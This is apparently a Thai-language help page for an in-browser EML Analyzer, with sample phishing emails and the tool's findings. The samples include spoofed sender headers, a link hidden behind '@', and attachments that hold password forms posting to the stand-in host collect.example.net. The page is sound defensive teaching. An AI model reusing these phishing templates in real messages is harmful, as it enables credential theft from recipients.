อีเมล

EML Analyzer

ทำงานในเครื่องใหม่

เครื่องมือนี้ใช้ภาษาอังกฤษ; หน้านี้อธิบายด้วยภาษาของคุณ

ใช้EML Analyzer

หน้าที่ของมันคืออะไร

ลากไฟล์ .eml หรือคัดลอกข้อความต้นฉบับมาวาง เพื่อตรวจสอบส่วนหัวของผู้ส่ง, สายการรับ (Received chain), ลิงก์ และไฟล์แนบ ทุกอย่างทำงานได้ภายในเบราว์เซอร์ของคุณ

ระบบนี้ทำงานทั้งหมดในเบราว์เซอร์ของคุณ: ข้อมูลที่คุณป้อนจะไม่ถูกส่งขึ้นเซิร์ฟเวอร์เลย

วิธีใช้EML Analyzer

  1. ดูข้อความต้นฉบับ. บันทึกอีเมลในรูปแบบ .eml หรือคัดลอกเนื้อหาต้นฉบับ: Gmail (แสดงต้นฉบับ), Outlook (ดูเนื้อหาต้นฉบับของข้อความ), Thunderbird หรือ Apple Mail (ดูเนื้อหาต้นฉบับ). ไฟล์ .msg ของ Outlook ไม่สามารถอ่านได้
  2. โหลดมัน. ลากไฟล์ .eml ลงบนกล่องหรือเลือกไฟล์นั้น (ขนาดสูงสุด 50 MB) หรือวางเนื้อหาต้นฉบับลงในช่องข้อความ (ขนาดสูงสุด 5 MB) แล้วกดปุ่ม "วิเคราะห์"
  3. อ่านบทสรุป. ผลการตรวจสอบถูกจัดเรียงเป็นสัญญาณอันตราย คำเตือน หมายเหตุ และการตรวจสอบที่ผ่านแล้ว แต่ละบรรทัดจะระบุชื่อหัวข้อ ลิงก์ หรือไฟล์แนบที่เป็นแหล่งที่มาของข้อมูลนั้น
  4. ตรวจสอบรายละเอียด. ใต้ส่วนสรุปจะมีส่วนหัวของผู้ส่ง, โดเมนที่ได้รับการเปรียบเทียบกับโดเมน From, ผลลัพธ์การตรวจสอบความถูกต้อง, ห่วงโซ่ Received, ลิงก์ทุกอัน และไฟล์แนบทุกไฟล์
  5. ดูตัวชี้วัด. ทำเครื่องหมายที่ประเภทตัวบ่งชี้ที่คุณต้องการ แล้วคัดลอกแบบดิบหรือแบบที่ปรับแต่งแล้ว ดาวน์โหลดเป็นไฟล์ .txt หรือใช้ตัวเลือก "ส่งไปยัง"

ตัวอย่าง

ข้อความฟิชชิ่งที่ออกแบบมาอย่างพิถีพิถัน

ข้อมูลเข้า
Return-Path: <bounce@mailer.example>
Received: from mx.example.org (localhost [127.0.0.1])
	by mx.example.org (Postfix) with ESMTP id 4QxYz1; Mon, 19 Oct 2026 09:15:07 +0000
Authentication-Results: mx.example.org; spf=softfail smtp.mailfrom=bounce@mailer.example;
	dkim=pass header.d=mailer.example header.s=s1; dmarc=fail header.from=account-check.example
Received: from smtp.mailer.example (smtp.mailer.example [203.0.113.45])
	by mx.example.org (Postfix) with ESMTPS id 4QxYz1; Mon, 19 Oct 2026 09:15:05 +0000
Received: from [192.168.10.20] (unknown [198.51.100.23])
	by smtp.mailer.example (Postfix) with ESMTPSA id 9A8B7C; Mon, 19 Oct 2026 09:14:58 +0000
DKIM-Signature: v=1; a=rsa-sha256; d=mailer.example; s=s1; h=from:to:subject; bh=AAAA; b=BBBB
From: "support@example.com" <alerts@account-check.example>
Reply-To: billing@example.net
To: user@example.org
Subject: Action required: verify your account
Date: Mon, 19 Oct 2026 09:14:57 +0000
Message-ID: <4471@mailer.example>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="b1"

--b1
Content-Type: text/html; charset=utf-8

<p>Your account will be suspended. Verify it here:
<a href="https://login.example.net/verify">https://www.example.com/account</a></p>
--b1
Content-Type: text/html; name="invoice.pdf.html"
Content-Disposition: attachment; filename="invoice.pdf.html"
Content-Transfer-Encoding: base64

PGZvcm0gYWN0aW9uPSJodHRwczovL2NvbGxlY3QuZXhhbXBsZS5uZXQvcG9zdCI+PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj48L2Zvcm0+
--b1--
ผลลัพธ์ (บันทึกเมื่อวันที่2026-10-20)
pasted source · 1.5 KB · 3 MIME parts · nothing left this browser

Summary
6 danger signs
Display name shows support[@]example[.]com but the real sender address is alerts[@]account-check[.]example
DMARC fail (reported by mx[.]example[.]org): the From domain did not authenticate this message
attachment invoice.pdf.html contains a form with a password field
Link text shows www[.]example[.]com but the link goes to login[.]example[.]net
Attachment "invoice.pdf.html": double extension: looks like .pdf but is .html
Attachment "invoice.pdf.html": .html opens in a browser: a common way to deliver fake login pages
2 warnings
Replies go to billing[@]example[.]net, a different domain than the sender (account-check[.]example)
SPF softfail (reported by mx[.]example[.]org) for bounce[@]mailer[.]example
2 notes
Return-Path domain mailer[.]example differs from the From domain: SPF does not cover account-check[.]example (normal for bulk-mail services)
No DKIM signature from account-check[.]example (signed by mailer[.]example): DKIM is not aligned
Sender and key headers
FROM	support[@]example[.]com <alerts[@]account-check[.]example>
REPLY-TO	<billing[@]example[.]net>
RETURN-PATH	<bounce[@]mailer[.]example>
TO	<user[@]example[.]org>
SUBJECT	Action required: verify your account
DATE	Mon, 19 Oct 2026 09:14:57 +0000 (2026-10-19 09:14:57 UTC)
MESSAGE-ID	<4471[@]mailer[.]example>
Domains compared with the From domain

From domain: account-check[.]example. DMARC passes only when SPF (Return-Path) or DKIM (d=) is from the same organization.

HEADER	DOMAIN	COMPARED WITH FROM
Reply-To	example[.]net
…

ชื่อผู้ส่งที่ปลอมตัวเป็น support@example.com, Reply-To และ DKIM บนโดเมนอื่น, DMARC ไม่ผ่าน, ลิงก์ที่มีข้อความแสดงว่า www.example.com แต่กลับนำไปยัง login.example.net, และไฟล์แนบ invoice.pdf.html ที่มีแบบฟอร์มใส่รหัสผ่าน

สิ่งที่ระบบตรวจสอบ

สัญญาณความหมายของคำนี้คืออะไร
ชื่อที่แสดงพร้อมที่อยู่อีเมลมีความเสี่ยงเมื่อชื่อผู้ส่งแสดงที่อยู่หนึ่ง แต่ผู้ส่งจริงอยู่ที่อยู่อีกแห่ง แอปอีเมลมักแสดงเพียงชื่อเท่านั้น
Reply-To บนโดเมนอื่นคำเตือน: คำตอบของคุณจะถูกส่งไปยังองค์กรที่ต่างจากผู้ส่ง
ผลการตรวจสอบความถูกต้องDMARC fail และ SPF fail เป็นสัญญาณอันตราย ส่วน SPF softfail และ DKIM fail เป็นคำเตือน ผลลัพธ์ที่ผู้ให้บริการของคุณเองเพิ่มเข้ามาเท่านั้นที่มีผล
Return-Path และโดเมน DKIM d=จะแสดงขึ้นเมื่อทั้งสองค่าไม่ตรงกันกับโดเมน From ซึ่งถือเป็นเรื่องปกติสำหรับบริการส่งอีเมลจำนวนมาก แต่ DMARC ต้องการให้ค่าทั้งสองตรงกันอย่างน้อยหนึ่งค่า
รับสายโซ่ฮอปจะถูกจัดเรียงตามลำดับจากเก่าที่สุดก่อน โดยมีการระบุความล่าช้าด้วย หากมีเวลาประทับที่เร็วกว่าฮอปก่อนหน้า ความล่าช้าเกินหนึ่งชั่วโมง หรือ DNS กลับที่ระบุว่า "อาจถูกปลอมแปลง" จะถูกทำเครื่องหมายไว้
ข้อความลิงก์และปลายทางมีความเสี่ยงเมื่อข้อความที่แสดงระบุชื่อโดเมนหนึ่ง แต่ลิงก์กลับชี้ไปยังโดเมนอื่น หรือเมื่อข้อความก่อนเครื่องหมาย @ ปิดบังชื่อโฮสต์ที่แท้จริง นอกจากนี้ IP แบบเปล่า punycode บริการย่อลิงก์ และลิงก์ที่ถูกห่อหุ้ม ก็จะถูกทำเครื่องหมายด้วยเช่นกัน
ไฟล์แนบไฟล์ที่มีนามสกุลซ้ำซ้อน ไฟล์ที่รันโค้ดหรือเปิดในเบราว์เซอร์ เนื้อหาที่ไม่ตรงกับนามสกุล และเทคนิคการเปลี่ยนทิศทางจากขวาไปซ้ายจะถูกทำเครื่องหมายไว้ ไฟล์แต่ละไฟล์จะได้รับการคำนวณค่า SHA-256, SHA-1 และ MD5
แบบฟอร์มและสคริปต์ใน HTMLแบบฟอร์มที่มีช่องใส่รหัสผ่านในเนื้อหาหรือในไฟล์แนบถือเป็นสัญญาณอันตราย ส่วนโค้ดสคริปต์ภายในไฟล์แนบถือเป็นคำเตือน

ตัวอย่างเพิ่มเติม

ลิงก์ที่ซ่อนที่อยู่ IP

ข้อมูลเข้า
From: IT Desk <it@example.com>
To: you@example.org
Subject: Mailbox full
Date: Tue, 20 Oct 2026 08:00:00 +0000
Message-ID: <b2@example.com>
Content-Type: text/html

<p>Your mailbox is full. <a href="https://www.example.com@203.0.113.7/login">Upgrade storage</a></p>
ผล

มีสัญญาณอันตราย 1 รายการ: "1 ลิงก์: ข้อความก่อน "@" ถูกละเว้น: โฮสต์จริงคือ 203.0.113.7" และคำเตือน 1 รายการ: "1 ลิงก์: ลิงก์ชี้ไปยังที่อยู่ IP แบบเปล่า" ตาราง Links แสดงที่อยู่ IP ที่ถูกทำให้ปลอดภัยแล้วอยู่ข้างข้อความ "อัปเกรดพื้นที่จัดเก็บ"

หน้า HTML ที่ปลอมตัวเป็น PDF

ข้อมูลเข้า
From: Accounts <billing@example.com>
To: you@example.org
Subject: Invoice
Date: Tue, 20 Oct 2026 08:00:00 +0000
Message-ID: <c3@example.com>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="b"

--b
Content-Type: text/plain

Invoice attached.
--b
Content-Type: application/pdf; name="invoice.pdf"
Content-Disposition: attachment; filename="invoice.pdf"

<!DOCTYPE html><html><body><form action="https://collect.example.net/p"><input type="password" name="p"></form></body></html>
--b--
ผล

2 สัญญาณเตือน: ไฟล์แนบ invoice.pdf "มีแบบฟอร์มที่มีช่องใส่รหัสผ่าน" และ "เนื้อหาเป็นเอกสาร HTML ไม่ใช่ .pdf" บัตรข้อมูลไฟล์แนบแสดงว่า Content: HTML document พร้อมด้วยแฮชสามตัว; ส่วนตาราง Links ระบุเป้าหมายของแบบฟอร์มว่า "แบบฟอร์มส่งข้อมูลไปยังที่อยู่นี้"

คำถามที่พบบ่อย

EML Analyzer ตรวจสอบอะไร?

มันจะถอดรหัสส่วนหัวและทุกส่วน MIME เปรียบเทียบโดเมน From, Reply-To, Return-Path, DKIM d= และ Message-ID และอ่าน Authentication-Results นอกจากนี้ ยังแสดงรายการจำนวนขั้นตอน (hops) ของ Received พร้อมกับความล่าช้าของแต่ละขั้นตอน, ลิงก์ทุกตัวพร้อมข้อความที่แสดงอยู่, และค่า SHA-256, SHA-1 และ MD5 ของไฟล์แนบแต่ละไฟล์

มันสามารถพิสูจน์ได้หรือไม่ว่าอีเมลนั้นเป็นอีเมลฟิชชิ่ง หรือว่าปลอดภัย?

ไม่ครับ มันแสดงข้อมูลและสัญญาณเตือนเท่านั้น ไม่ใช่คำตัดสิน: จดหมายจำนวนมากที่ถูกต้องตามกฎหมายมักมี Return-Path หรือโดเมน DKIM ที่ต่างกัน และลายเซ็น DKIM ถูกแสดงไว้ แต่ยังไม่ได้รับการตรวจสอบทางเข้ารหัส ไฟล์ .msg ของ Outlook ไม่ได้รับการสนับสนุน; ให้บันทึกข้อความเป็นไฟล์ .eml ก่อน

อีเมลนี้ถูกอัปโหลดไว้ที่ไหนบ้างไหม?

ไม่ครับ ไฟล์ดังกล่าวถูกอ่านและวิเคราะห์ในเบราว์เซอร์ของคุณ HTML จะแสดงเป็นข้อความเท่านั้น และไม่ถูกเรนเดอร์เลย นอกจากนี้ ไม่มีข้อมูลใดที่ส่งผ่านเครือข่ายเลย ปุ่ม "ส่งไปยัง" จะส่งผลลัพธ์ไปยังหน้าเครื่องมืออื่นผ่านพื้นที่จัดเก็บเซสชันของเบราว์เซอร์ของคุณ

มันจะเชื่อถือหัวเรื่อง Authentication-Results ใด?

ส่วนที่ระบบอีเมลของคุณเองเพิ่มเข้าไป ซึ่งสามารถระบุได้จากสายข้อมูล Received และถูกทำเครื่องหมายว่า "เพิ่มโดยเซิร์ฟเวอร์ของผู้รับ" ส่วนหัวที่อยู่ด้านล่างในข้อความอาจถูกเขียนโดยผู้ส่ง ดังนั้นหน้าเว็บจึงแนะนำให้คุณเชื่อถือเฉพาะผลลัพธ์จากผู้ให้บริการของคุณเท่านั้น

มันสามารถเปิดอีเมลที่แนบมาในอีเมลอื่นได้หรือไม่?

ใช่ครับ ข้อความที่แนบมาจะแสดงพร้อมกับรหัสแฮช และปุ่ม "วิเคราะห์ข้อความที่แนบมา" ซึ่งจะเปิดข้อความนั้นในหน้าเดียวกัน ส่วนปุ่ม "กลับไปยังข้อความหลัก" จะนำคุณกลับไปยังข้อความหลัก

ทำไมมีที่อยู่ IP บางตัวที่หายไปจากตัวชี้วัด?

ที่อยู่ส่วนตัวและที่อยู่ท้องถิ่น รวมถึงขั้นตอนการส่งภายในระบบอีเมลของผู้รับเอง จะไม่ถูกรวมไว้ เนื่องจากไม่ชี้ไปยังเซิร์ฟเวอร์ของผู้ส่ง นอกจากนี้ ที่อยู่อีเมลของผู้รับก็ไม่ถูกรวมไว้เช่นกัน

คำอธิบายศัพท์

การวิจัยของ PhishDestroy